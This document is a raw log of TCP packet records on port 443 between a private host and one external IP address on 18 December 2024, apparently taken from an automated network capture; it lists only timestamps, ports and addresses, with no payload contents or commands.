Dec 18, 2024 13:14:48.326246977 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.326261997 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.326395988 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.326431990 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.326476097 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.332580090 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.332597971 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.332664967 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.332674980 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.332715034 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.338768005 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.338790894 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.338860989 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.338876009 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.338920116 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.345189095 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.345212936 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.345279932 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.345295906 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.345323086 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.345336914 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.480603933 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.480623007 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.480675936 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.480689049 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.480714083 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.480726957 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.499830961 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.499847889 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.499892950 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.499901056 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.499947071 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.506248951 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.506273985 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.506302118 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.506314993 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.506350994 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.506365061 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.512773991 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.512794018 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.512840033 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.512845039 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.512871981 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.512888908 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.518419981 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.518436909 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.518486977 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.518495083 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.518529892 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.521126986 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.521155119 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.521188021 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.521195889 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.521215916 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.521224976 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.521251917 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.521269083 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.525012970 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.525028944 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.525111914 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.525118113 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.525149107 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.525161982 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.531025887 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.531040907 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.531092882 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.531099081 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.531124115 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.531141996 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.537529945 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.537547112 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.537589073 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.537594080 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.537643909 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.571722031 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.571758986 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.571809053 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.571841955 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.571860075 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.571885109 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.673157930 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.673185110 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.673253059 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.673280954 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.673324108 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.692549944 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.692583084 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.692677975 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.692698002 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.692742109 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.698820114 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.698853970 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.698932886 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.698952913 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.698993921 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.705144882 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.705169916 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.705265045 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.705281973 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.705333948 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.710937977 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.710959911 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.711023092 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.711035967 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.711076021 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.717740059 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.717761993 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.717839003 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.717874050 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.717920065 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.723547935 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.723563910 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.723632097 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.723651886 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.723700047 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.729985952 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.730005980 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.730089903 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.730108976 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.730144024 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.744190931 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.744220018 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.744405985 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.744405985 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.744438887 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.744482040 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.780014038 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.780033112 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.780112982 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.780131102 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.780177116 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.821911097 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.821989059 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.822050095 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.822073936 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.822104931 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.822125912 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.860730886 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.860785007 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.860939026 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.860939026 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.860960007 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.861257076 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.865845919 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.865876913 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.865938902 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.865973949 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.865995884 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.866254091 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.885334015 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.885354996 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.885427952 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.885443926 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.885487080 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.892282009 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.892298937 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.892374039 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.892380953 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.892424107 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.898694038 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.898713112 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.898766041 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.898772955 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.898809910 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.904149055 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.904169083 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.904234886 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.904242039 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.904285908 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.910892010 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.910908937 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.910975933 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.910984039 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.911022902 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.917690039 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.917706966 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.917774916 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.917784929 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.917824984 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.923445940 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.923471928 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.923537970 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.923547983 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.923584938 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.969252110 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.969283104 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.969391108 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.969405890 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.969456911 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.993335009 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.993359089 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.993655920 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:48.993664026 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:48.993725061 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.011681080 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.011704922 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.011760950 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.011770010 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.011796951 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.011825085 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.026473045 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.026493073 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.026587009 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.026596069 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.026618004 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.026642084 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.039501905 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.039525032 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.039608002 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.039616108 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.039660931 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.058104992 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.058130980 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.058206081 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.058233976 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.058286905 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.074924946 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.074990988 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.075025082 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.075032949 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.075054884 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.075089931 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.077385902 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.077404976 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.077461004 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.077487946 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.077528000 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.083872080 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.083889008 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.083950996 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.083957911 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.084005117 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.089629889 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.089646101 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.089709997 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.089715004 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.089752913 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.096008062 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.096038103 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.096092939 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.096102953 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.096117973 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.096148968 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.102490902 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.102514982 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.102607965 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.102613926 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.102652073 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.108612061 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.108629942 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.108695030 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.108716011 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.108756065 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.115128994 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.115144014 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.115221024 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.115245104 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.115333080 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.150840998 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.150887012 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.150990963 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.151017904 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.151063919 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.169441938 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.169469118 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.169567108 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.169594049 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.169862986 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.181478024 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.181545019 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.181612968 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.181637049 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.181659937 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.181688070 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.193310022 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.193336010 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.193428993 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.193437099 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.193481922 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.201375961 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.201399088 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.201503038 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.201529026 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.201575041 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.207971096 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.207988024 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.208062887 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.208087921 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.208131075 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.215307951 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.215352058 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.215409040 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.215434074 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.215501070 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.223093987 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.223117113 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.223207951 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.223233938 CET	443	49732	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.223279953 CET	49732	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.250914097 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.250953913 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.251089096 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.251118898 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.251169920 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.270051956 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.270097971 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.270246029 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.270287991 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.270334959 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.275686979 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.275721073 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.275845051 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.275885105 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.275937080 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.282098055 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.282144070 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.282289028 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.282316923 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.282372952 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.289838076 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.289881945 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.289985895 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.290009022 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.290061951 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.295042992 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.295073032 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.295157909 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.295167923 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.295207024 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.301208019 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.301243067 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.301358938 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.301368952 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.301430941 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.307254076 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.307287931 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.307363033 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.307374001 CET	443	49730	118.107.29.172	192.168.2.4
Dec 18, 2024 13:14:49.307406902 CET	49730	443	192.168.2.4	118.107.29.172
Dec 18, 2024 13:14:49.337007046 CET	443	49732	118.107.29.172	192.168.2.4
